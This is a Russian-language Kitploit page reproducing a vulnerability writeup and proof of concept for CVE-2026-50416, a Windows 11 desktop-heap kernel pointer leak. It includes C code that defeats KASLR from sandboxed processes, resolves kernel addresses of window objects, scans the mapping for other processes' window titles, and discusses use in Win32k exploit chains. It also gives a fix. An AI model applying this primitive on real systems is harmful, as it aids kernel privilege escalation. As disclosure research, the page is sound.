Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Фреймворки для эксплойтовКриминалистика памятиАнализ уязвимостейЭксплуатацияСбор информацииCTFАнализ Бинарных ФайловСтатьи и ИсследованияОбучение и Образование
Лаборатории и Практика
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: обход KASLR в Windows 11

РепозиторийСайт
445123 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-50416: Одно QWORD слишком много в desktop heap

В Windows 11 Insider сборке 10.0.28020.2149 пользовательское отображение Win32k desktop heap раскрывало необработанный указатель на пул ядра сессии по смещению 0x100.

Само чтение почти оскорбительно мало:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

В моей тестовой сессии это вернуло:

root@kitploit:~
0xffffc600dcc00040

Значение оставалось одинаковым для всех процессов на одном рабочем столе и менялось после перезагрузки. Процесс, запущенный на другом рабочем столе, получал другое значение, поскольку у него был другой desktop heap. Из этого одного QWORD PoC восстановил базовый адрес kernel desktop heap, а затем использовал user32!gSharedInfo для получения адресов ядра живых объектов окон.

То же чтение работало из Low integrity, AppContainer, конфигурации LPAC с нулевыми возможностями и дочернего процесса Low integrity AppContainer с нулевыми возможностями.

Desktop heap должен быть общим. Указатель на ядро — нет.

Desktop heap из пользовательского режима

Win32k хранит объекты USER, такие как окна, меню, классы, хуки и связанные метаданные, в desktop heap. Каждый рабочий стол имеет свою собственную кучу. Часть этой кучи отображается в процессы, связанные с рабочим столом, чтобы пользовательский режим мог читать общее состояние GUI без запроса каждого поля у ядра.

В протестированной x64 сборке к отображению пользовательского режима можно получить доступ через клиентские данные текущего потока TEB:

root@kitploit:~
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Смещения зависят от сборки, но маршрут прост:

root@kitploit:~
GS:[0x30]
    -> TEB
    -> ClientInfo по адресу TEB + 0x800
    -> ClientInfo[5]
    -> отображение desktop heap в пользовательском режиме

PoC вызывает VirtualQuery для возвращённого адреса и записывает отображённую область и её защиту. Пока ничего не пошло не так. Отображение desktop heap только для чтения — это нормальное поведение Win32k.

Проблема начинается через 256 байт.

Указатель по смещению 0x100

Основной PoC читает одно QWORD из отображённой кучи:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Значение прошло базовые проверки, ожидаемые для адреса виртуальной памяти ядра на тестируемой системе:

  • Канонические старшие биты
  • Выравнивание по восьми байтам
  • Не одно из известных сторожевых значений, отфильтрованных PoC
  • Стабильно при создании и уничтожении окон
  • Идентично в тестируемых процессах на одном рабочем столе
  • Отличается после перезагрузки
  • Отличается на другом рабочем столе

Тест стабильности создаёт окна STATIC, BUTTON и EDIT, читает значение до создания, читает его снова, пока окна существуют, уничтожает их и читает в третий раз.

root@kitploit:~
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Все три чтения вернули одно и то же значение. Активность выделения окон не сдвинула его. Такое поведение согласуется с полем в метаданных desktop heap, а не с указателем на недолговечный объект.

Свойство межпроцессности не менее важно. Два процесса, прикреплённые к одному рабочему столу, наблюдают одно и то же утёкшее значение, потому что они смотрят на один и тот же desktop heap. После перезагрузки KASLR даёт сессии новый адрес. Дочерний процесс, помещённый на другой рабочий стол, наблюдает другой указатель, потому что этот рабочий стол владеет другой кучей.

Это придаёт утечке полезную идентичность:

root@kitploit:~
та же загрузка + тот же рабочий стол      -> тот же указатель
та же загрузка + другой рабочий стол     -> другой указатель
новая загрузка                            -> другой указатель

Восстановление базового адреса kernel desktop heap

В протестированной сборке утёкший указатель находится на 0x40 байт выше базового адреса kernel desktop heap, используемого PoC:

root@kitploit:~
ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Используя записанное значение сессии:

root@kitploit:~
утёкший указатель            = 0xffffc600dcc00040
базовый адрес kernel desktop heap = 0xffffc600dcc00000

Эта взаимосвязь зависит от сборки. Для сборки, использованной во время тестирования, она даёт якорь на стороне ядра, необходимый для следующего шага.

Один указатель уже полезен. Адрес выбранного объекта гораздо полезнее.

Разрешение объекта окна через gSharedInfo

user32.dll экспортирует gSharedInfo, который раскрывает список записей дескрипторов USER и размер каждой записи:

root@kitploit:~
typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

HWND содержит индекс в таблице дескрипторов USER. PoC берёт младшие 16 бит дескриптора, переходит к соответствующей записи и читает хранящееся там смещение desktop heap.

root@kitploit:~
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

То же смещение называет объект в обоих отображениях:

root@kitploit:~
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Итак, полный расчёт:

root@kitploit:~
базовый адрес kernel desktop heap = desktop_heap[0x100] - 0x40
индекс дескриптора              = HWND & 0xffff
смещение в куче                = aheList[индекс дескриптора].offset
адрес окна в ядре              = базовый адрес kernel desktop heap + смещение в куче

PoC создаёт шесть классов окон и выполняет расчёт для каждого из них:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Для каждого объекта он выводит HWND, индекс дескриптора, адрес объекта в пользовательском режиме, смещение в куче и адрес в ядре.

root@kitploit:~
HWND
  -> младший 16-битный индекс дескриптора
  -> запись дескриптора gSharedInfo
  -> смещение в desktop heap
  -> базовый адрес kernel desktop heap + смещение
  -> адрес этого объекта окна в ядре

Это та часть, которая превращает раскрытие из свободного указателя ядра в оракул адресов для выбранных объектов USER в тестируемом desktop heap.

Почему тесты песочницы важны

Desktop heap поступает через общее отображение. Уровни целостности и ограничения AppContainer не переписывают содержимое этого отображения для каждого процесса. Если процесс получает desktop heap, он получает и QWORD по адресу 0x100.

PoC песочницы запускает дочерние процессы в нескольких контекстах и заставляет каждый дочерний процесс читать значение из собственного TEB и собственного отображения desktop heap.

КонтекстКонфигурацияРезультат
Medium integrityСтандартный пользовательский процессУтечка
Low integrityЦелостность токена понижена до LowУтечка
AppContainerНоль запрошенных возможностейУтечка
Конфигурация LPACПолитика отказа для всех пакетов приложений, ноль запрошенных возможностейУтечка
Low integrity AppContainerLow IL плюс AppContainer, ноль запрошенных возможностейУтечка
Альтернативный рабочий столДочерний процесс назначен на новый рабочий столУтечка другого значения

Первые пять дочерних процессов были прикреплены к рабочему столу по умолчанию и вернули один и тот же адрес. Дочерний процесс на альтернативном рабочем столе вернул другой адрес, потому что получил другой desktop heap.

Вывод дочернего процесса имеет компактный формат, чтобы родительский процесс мог сравнивать результаты:

root@kitploit:~
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

Более строгий помощник также записывает состояние токена и количество возможностей:

root@kitploit:~
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

Важная деталь не в том, что дочерний процесс может вызывать специальный API Win32k. Ему это не нужно. Как только отображение присутствует, утечка — это обычное чтение памяти в пользовательском режиме.

Создание окна не требуется

Отдельный помощник выполняет чтение без вызова CreateWindow.

Он проверяет указатель desktop heap, читает desktop_heap[0x100], явно загружает user32.dll, снова проверяет отображение и по-прежнему не создаёт ни одного окна. Другой дочерний процесс, подобный рендереру, загружает user32.dll, выполняет то же чтение и завершает работу без создания какого-либо окна.

Полезный результат прост:

root@kitploit:~
Перед чтением утёкшего QWORD не нужно создавать ни одного объекта окна.

Утечка принадлежит самому отображению desktop heap, а не окну, созданному атакующим процессом.

Дочерний процесс, подобный рендереру

supporting_proof_remote_trigger.c создаёт дочерний процесс Low integrity AppContainer с нулевыми запрошенными возможностями. Дочерний процесс выполняет лишь небольшую работу:

root@kitploit:~
LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Записанный вывод:

root@kitploit:~
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

Это демонстрирует чтение из конфигурации токена, подобной рендереру. Отдельная ошибка повреждения памяти браузера, которая уже даёт выполнение нативного кода в таком процессе, не потребовала бы другого раскрытия информации перед чтением этого указателя desktop heap.

Что ещё было видно в отображении

Получив надёжный указатель, я просканировал отображённую область, чтобы увидеть, что ещё там присутствует.

Дополнительные значения, имеющие форму ядра

Сканер находил от шести до десяти дополнительных уникальных значений QWORD за запуск, которые проходили те же проверки канонического адреса и выравнивания. Точное число менялось в зависимости от активности рабочего стола. Смещение 0x100 было стабильной основной утечкой, но не единственным значением с формой адреса ядра в отображении.

Заголовки окон других процессов

Помощник по чувствительным данным перечисляет окна верхнего уровня с помощью EnumWindows, собирает их владельцев PID и заголовки, а затем ищет те же заголовки в отображении desktop heap как строки UTF-16.

В записанном запуске он нашёл двадцать уникальных заголовков, принадлежащих другим процессам. Примеры включали вкладки браузера, Discord, Explorer, Spotify и окна системного трея.

Программа выводит заголовок только после выполнения обоих условий:

  1. Строка существует в отображённой области desktop heap.
  2. EnumWindows сообщает об окне с этим заголовком и владельцем PID, отличным от тестового процесса.

Это делает вывод легко проверяемым, а не полагается на случайные печатные строки, найденные в памяти.

Вхождения идентификаторов процессов

Помощник также сканирует значения DWORD в отображении. Значение учитывается только тогда, когда:

  1. Оно выглядит как правдоподобный PID.
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) успешно выполняется для него.
  3. PID также владеет окном, найденным через EnumWindows.

В записанном запуске было найдено 605 совпадающих вхождений DWORD. Это количество вхождений в куче, а не 605 уникальных процессов. Один и тот же PID может встречаться более одного раза.

Текст пароля в поле редактирования

Помощник создаёт элемент управления EDIT с ES_PASSWORD, устанавливает его текст в SecretPassword123 и ищет в отображённой области префикс SecretP. В тестируемом запуске он не был найден.

Таким образом, отображение раскрывало заголовки, вхождения PID и значения, имеющие форму ядра, в то время как тестируемая строка пароля там не появлялась.

Что утечка меняет при эксплуатации

Для ошибки повреждения памяти Win32k знание того, что объект существует, — это не то же самое, что знание того, где он находится в памяти ядра.

Без раскрытия атакующему приходится иметь дело с неизвестным базовым адресом desktop heap и неизвестными адресами объектов. С раскрытием сторона адреса становится:

root@kitploit:~
прочитать одно QWORD
вычесть 0x40
прочитать запись целевого дескриптора
добавить её смещение в куче

Для выбранного HWND атакующий теперь имеет соответствующий адрес kernel desktop heap в тестируемой сборке. Это может помочь с:

  • Отслеживанием целевого объекта через активность кучи
  • Отличием предполагаемого объекта от соседних выделений
  • Расчётом адреса, используемого отдельным примитивом чтения, записи или повреждения
  • Проверкой того, дало ли формирование кучи ожидаемый макет
  • Устранением угадывания адреса desktop heap из цепочки эксплуатации Win32k

Утечка решает проблему адреса. Формирование кучи, замена объектов и примитив повреждения памяти остаются отдельными частями эксплуатации.

Это разделение важно. KASLR не останавливает повреждение памяти. Оно делает надёжное нацеливание сложнее. Это QWORD устраняет эту неопределённость для области desktop heap, используемой PoC.

Воспроизведение

Тестируемая среда

root@kitploit:~
Windows 11 Insider Build 10.0.28020.2149
Стандартный пользователь
Базовый уровень Medium integrity

Файлы

  • kaslr_bypass_poc.c: основной PoC утечки и разрешения адресов окон
  • kaslr_sandbox_proof.c: тесты Medium IL, Low IL, AppContainer, конфигурации LPAC, Low IL AppContainer и альтернативного рабочего стола
  • supporting_proof_no_window.c: чтение без создания окна
  • supporting_proof_no_caps_lpac.c: конфигурации AppContainer и LPAC с нулевыми возможностями
  • supporting_proof_sensitive_data.c: заголовки, вхождения PID, сканирование дополнительных указателей и проверка поля пароля
  • supporting_proof_exploitability.c: шесть классов окон и расчёты адресов ядра
  • supporting_proof_remote_trigger.c: дочерний процесс Low IL AppContainer, подобный рендереру
  • compile.bat: меню сборки

Компиляция

Запустите:

root@kitploit:~
compile.bat

Выберите цель из меню.

Основной PoC также можно скомпилировать напрямую из командной строки разработчика Visual Studio:

root@kitploit:~
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib

Проверка указателя

Запустите основной PoC дважды без перезагрузки:

root@kitploit:~
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe

Указатель по адресу desktop_heap + 0x100 должен быть идентичен в обоих запусках.

Откройте второй терминал и запустите его из другого процесса на том же рабочем столе. Значение должно снова совпасть.

Перезагрузитесь и повторите. Значение должно измениться.

Запуск теста песочницы

root@kitploit:~
kaslr_sandbox_proof.exe

Тест запускает каждый дочерний процесс, захватывает его вывод и сравнивает утёкшие значения. Дочерние процессы на рабочем столе по умолчанию должны сообщать одно и то же значение. Дочерний процесс на альтернативном рабочем столе должен сообщать другое значение.

Запуск целевых помощников

root@kitploit:~
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe

Каждый помощник изолирует одну часть результата, чтобы её можно было воспроизвести без чтения всего вывода полного PoC.

Исправление

Отображение пользовательского режима не должно содержать необработанные адреса виртуальной памяти ядра.

Самое маленькое исправление — очистить поле заголовка desktop heap до того, как страница станет видимой в пользовательском режиме. Windows уже использует непрозрачное значение 0x6000000000 для других полей указателей desktop heap, поэтому тот же стиль замены можно было бы использовать здесь, если пользовательскому режиму всё ещё нужно это поле.

Если пользовательскому режиму не нужна страница заголовка, более чистое исправление — не раскрывать эту страницу в общем отображении.

Регрессионный тест прост: создайте процессы в конфигурациях Medium IL, Low IL, AppContainer и LPAC, отобразите desktop heap и отклоняйте любой канонический адрес ядра, найденный в видимом пользователю заголовке.

Заключение

Вся цепочка начинается с одного обычного чтения из отображения только для чтения:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Это QWORD идентифицирует kernel desktop heap. gSharedInfo предоставляет смещение для каждого объекта. Вместе они превращают HWND пользовательского режима в соответствующий адрес ядра в тестируемой сборке.

Здесь не скрывается сложный триггер. Windows поместила desktop heap туда, где пользовательский режим мог его читать, а затем оставила один указатель ядра внутри той части, которой поделилась.

Одного QWORD было достаточно.

Скачать инструмент